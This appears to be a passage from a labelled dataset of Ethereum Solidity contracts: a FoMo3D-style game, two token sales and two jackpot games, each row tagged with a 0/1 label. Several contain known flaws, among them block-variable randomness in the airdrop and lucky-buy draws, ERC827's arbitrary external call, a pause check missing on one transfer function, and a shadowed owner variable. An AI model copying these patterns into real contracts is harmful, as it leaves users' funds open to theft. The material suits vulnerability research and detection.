uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 936 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract PausableToken is ERC827Token, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
return super.transferFrom(_from, _to, _value, _data);
}
function approve(address _spender, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.approve(_spender, _value, _data);
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public whenNotPaused returns (bool) {
return super.increaseApproval(_spender, _addedValue, _data);
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public whenNotPaused returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue, _data);
}
}
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AirEX is MintableToken {
string public constant name = "AIRX";
string public constant symbol = "AIRX";
uint8 public constant decimals = 18;
uint256 public hardCap;
uint256 public softCap;
function AirEX(uint256 _cap) public {
require(_cap > 0);
hardCap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= hardCap);
return super.mint(_to, _amount);
}
function updateHardCap(uint256 _cap) onlyOwner public {
require(_cap > 0);
hardCap = _cap;
}
function updateSoftCap(uint256 _cap) onlyOwner public {
require(_cap > 0);
softCap = _cap;
}
}
contract SalesManagerUpgradable is Ownable {
using SafeMath for uint256;
address public ethOwner = 0xe8290a10565CB7aDeE9246661B34BB77CB6e4024;
uint public price1 = 100;
uint public price2 = 110;
uint public price3 = 125;
uint public lev1 = 2 ether;
uint public lev2 = 10 ether;
uint public ethFundRaised;
address public tokenAddress;
function SalesManagerUpgradable () public {
tokenAddress = new AirEX(5550000 ether);
}
function () payable public {
if(msg.value > 0) revert();
}
function buyTokens(address _investor) public payable returns (bool){
if (msg.value <= lev1) {
uint tokens = msg.value.mul(price1);
if (!sendTokens(tokens, msg.value, _investor)) revert();
return true;
} else if (msg.value > lev1 && msg.value <= lev2) {
tokens = msg.value.mul(price2);
if (!sendTokens(tokens, msg.value, _investor)) revert();
return true;
} else if (msg.value > lev2) {
tokens = msg.value.mul(price3);
if (!sendTokens(tokens, msg.value, _investor)) revert();
return true;
}
return false;
}
function sendTokens(uint _amount, uint _ethers, address _investor) private returns (bool) {
AirEX tokenHolder = AirEX(tokenAddress);
if (tokenHolder.mint(_investor, _amount)) {
ethFundRaised = ethFundRaised.add(_ethers);
ethOwner.transfer(_ethers);
return true;
}
return false;
}
function generateTokensManually(uint _amount, address _to) public onlyOwner {
AirEX tokenHolder = AirEX(tokenAddress);
tokenHolder.mint(_to, _amount);
}
function setColdAddress(address _newAddr) public onlyOwner {
ethOwner = _newAddr;
}
function setPrice1 (uint _price) public onlyOwner {
price1 = _price;
}
function setPrice2 (uint _price) public onlyOwner {
price2 = _price;
}
function setPrice3 (uint _price) public onlyOwner {
price3 = _price;
}
function setLev1 (uint _price) public onlyOwner {
lev1 = _price;
}
function setLev2 (uint _price) public onlyOwner {
lev2 = _price;
}
function transferOwnershipToken(address newTokenOwnerAddress) public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.transferOwnership(newTokenOwnerAddress);
}
function updateHardCap(uint256 _cap) public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.updateHardCap(_cap);
}
function updateSoftCap(uint256 _cap) public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.updateSoftCap(_cap);
}
function unPauseContract() public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.unpause();
}
function pauseContract() public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.pause();
}
function finishMinting() public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.finishMinting();
}
function drop(address[] _destinations, uint256[] _amount) onlyOwner public
returns (uint) {
uint i = 0;
while (i < _destinations.length) {
AirEX(tokenAddress).mint(_destinations[i], _amount[i]);
i += 1;
}
return(i);
}
function withdraw(address _to) public onlyOwner {
_to.transfer(this.balance);
}
function destroySalesManager(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
}
contract DepositManager is Ownable {
address public actualSalesAddress;
function DepositManager (address _actualAddres) public {
actualSalesAddress = _actualAddres;
}
function () payable public {
SalesManagerUpgradable sm = SalesManagerUpgradable(actualSalesAddress);
if(!sm.buyTokens.value(msg.value)(msg.sender)) revert();
}
function setNewSalesManager (address _newAddr) public onlyOwner {
actualSalesAddress = _newAddr;
}
} | 1 | 4,084 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract saleOwned is owned{
mapping (address => bool) public saleContract;
modifier onlySaleOwner {
require(msg.sender == owner || true == saleContract[msg.sender]);
_;
}
function addSaleOwner(address saleOwner) onlyOwner public {
saleContract[saleOwner] = true;
}
function delSaleOwner(address saleOwner) onlyOwner public {
saleContract[saleOwner] = false;
}
}
contract Pausable is saleOwned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(false == paused);
_;
}
modifier whenPaused {
require(true == paused);
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
contract BaseToken is Pausable{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) approvals;
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferFrom(address indexed approval, address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint value);
function BaseToken (
string tokenName,
string tokenSymbol
) public {
decimals = 18;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) whenNotPaused public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool) {
assert(balanceOf[_from] >= _value);
assert(approvals[_from][msg.sender] >= _value);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address src, address guy) public view returns (uint256) {
return approvals[src][guy];
}
function approve(address guy, uint256 _value) public returns (bool) {
approvals[msg.sender][guy] = _value;
emit Approval(msg.sender, guy, _value);
return true;
}
}
contract AdvanceToken is BaseToken {
string tokenName = "XBTEN";
string tokenSymbol = "XBTEN";
struct frozenStruct {
uint startTime;
uint endTime;
}
mapping (address => bool) public frozenAccount;
mapping (address => frozenStruct) public frozenTime;
event FrozenFunds(address target, bool frozen, uint startTime, uint endTime);
event Burn(address indexed from, uint256 value);
function AdvanceToken() BaseToken(tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(false == isFrozen(_from));
if(saleContract[_from] == false)
require(false == isFrozen(_to));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(uint256 mintedAmount) onlyOwner public {
uint256 mintSupply = mintedAmount.mul(10 ** uint256(decimals));
balanceOf[msg.sender] = balanceOf[msg.sender].add(mintSupply);
totalSupply = totalSupply.add(mintSupply);
emit Transfer(0, this, mintSupply);
emit Transfer(this, msg.sender, mintSupply);
}
function isFrozen(address target) public view returns (bool success) {
if(false == frozenAccount[target])
return false;
if(frozenTime[target].startTime <= now && now <= frozenTime[target].endTime)
return true;
return false;
}
function freezeAccount(address target, bool freeze, uint startTime, uint endTime) onlySaleOwner public {
frozenAccount[target] = freeze;
frozenTime[target].startTime = startTime;
frozenTime[target].endTime = endTime;
emit FrozenFunds(target, freeze, startTime, endTime);
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
} | 1 | 2,360 |
pragma solidity ^0.4.18;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner)
revert();
_;
}
}
contract RichestTakeAll is Owned {
address public owner;
uint public jackpot;
uint public withdrawDelay;
function() public payable {
if (msg.value >= jackpot) {
owner = msg.sender;
withdrawDelay = block.timestamp + 5 days;
}
jackpot += msg.value;
}
function takeAll() public onlyOwner {
require(block.timestamp >= withdrawDelay);
msg.sender.transfer(jackpot);
jackpot = 0;
}
} | 0 | 201 |
pragma solidity ^0.4.0;
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Greedy is Owned {
uint public Round = 1;
mapping(uint => uint) public RoundHeart;
mapping(uint => uint) public RoundETH;
mapping(uint => uint) public RoundTime;
mapping(uint => uint) public RoundPayMask;
mapping(uint => address) public RoundLastGreedyMan;
uint256 public Luckybuy;
mapping(uint => mapping(address => uint)) public RoundMyHeart;
mapping(uint => mapping(address => uint)) public RoundMyPayMask;
mapping(address => uint) public MyreferredRevenue;
uint256 public luckybuyTracker_ = 0;
uint256 constant private RoundIncrease = 1 seconds;
uint256 constant private RoundMaxTime = 10 minutes;
uint256 public onwerfee;
using SafeMath for *;
using GreedyHeartCalcLong for uint256;
event winnerEvent(address winnerAddr, uint256 newPot, uint256 round);
event luckybuyEvent(address luckyAddr, uint256 amount, uint256 round);
event buyheartEvent(address Addr, uint256 Heartamount, uint256 ethvalue, uint256 round, address ref);
event referredEvent(address Addr, address RefAddr, uint256 ethvalue);
event withdrawEvent(address Addr, uint256 ethvalue, uint256 Round);
event withdrawRefEvent(address Addr, uint256 ethvalue);
event withdrawOwnerEvent(uint256 ethvalue);
function getHeartPrice() public view returns(uint256)
{
return ( (RoundHeart[Round].add(1000000000000000000)).ethRec(1000000000000000000) );
}
function getMyRevenue(uint _round) public view returns(uint256)
{
return( (((RoundPayMask[_round]).mul(RoundMyHeart[_round][msg.sender])) / (1000000000000000000)).sub(RoundMyPayMask[_round][msg.sender]) );
}
function getTimeLeft() public view returns(uint256)
{
if(RoundTime[Round] == 0 || RoundTime[Round] < now)
return 0;
else
return( (RoundTime[Round]).sub(now) );
}
function updateTimer(uint256 _hearts) private
{
if(RoundTime[Round] == 0)
RoundTime[Round] = RoundMaxTime.add(now);
uint _newTime = (((_hearts) / (1000000000000000000)).mul(RoundIncrease)).add(RoundTime[Round]);
if (_newTime < (RoundMaxTime).add(now))
RoundTime[Round] = _newTime;
else
RoundTime[Round] = RoundMaxTime.add(now);
}
function buyHeart(address referred) public payable {
require(msg.value >= 1000000000, "pocket lint: not a valid currency");
require(msg.value <= 100000000000000000000000, "no vitalik, no");
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
uint256 _hearts = (RoundETH[Round]).keysRec(msg.value);
uint256 _pearn;
require(_hearts >= 1000000000000000000);
require(RoundTime[Round] > now || RoundTime[Round] == 0);
updateTimer(_hearts);
RoundHeart[Round] += _hearts;
RoundMyHeart[Round][msg.sender] += _hearts;
if (referred != address(0) && referred != msg.sender)
{
_pearn = (((msg.value.mul(30) / 100).mul(1000000000000000000)) / (RoundHeart[Round])).mul(_hearts)/ (1000000000000000000);
onwerfee += (msg.value.mul(4) / 100);
RoundETH[Round] += msg.value.mul(54) / 100;
Luckybuy += msg.value.mul(2) / 100;
MyreferredRevenue[referred] += (msg.value.mul(10) / 100);
RoundPayMask[Round] += ((msg.value.mul(30) / 100).mul(1000000000000000000)) / (RoundHeart[Round]);
RoundMyPayMask[Round][msg.sender] = (((RoundPayMask[Round].mul(_hearts)) / (1000000000000000000)).sub(_pearn)).add(RoundMyPayMask[Round][msg.sender]);
emit referredEvent(msg.sender, referred, msg.value.mul(10) / 100);
} else {
_pearn = (((msg.value.mul(40) / 100).mul(1000000000000000000)) / (RoundHeart[Round])).mul(_hearts)/ (1000000000000000000);
RoundETH[Round] += msg.value.mul(54) / 100;
Luckybuy += msg.value.mul(2) / 100;
onwerfee +=(msg.value.mul(4) / 100);
RoundPayMask[Round] += ((msg.value.mul(40) / 100).mul(1000000000000000000)) / (RoundHeart[Round]);
RoundMyPayMask[Round][msg.sender] = (((RoundPayMask[Round].mul(_hearts)) / (1000000000000000000)).sub(_pearn)).add(RoundMyPayMask[Round][msg.sender]);
}
if (msg.value >= 100000000000000000){
luckybuyTracker_++;
if (luckyBuy() == true)
{
msg.sender.transfer(Luckybuy);
emit luckybuyEvent(msg.sender, Luckybuy, Round);
luckybuyTracker_ = 0;
Luckybuy = 0;
}
}
RoundLastGreedyMan[Round] = msg.sender;
emit buyheartEvent(msg.sender, _hearts, msg.value, Round, referred);
}
function win() public {
require(now > RoundTime[Round] && RoundTime[Round] != 0);
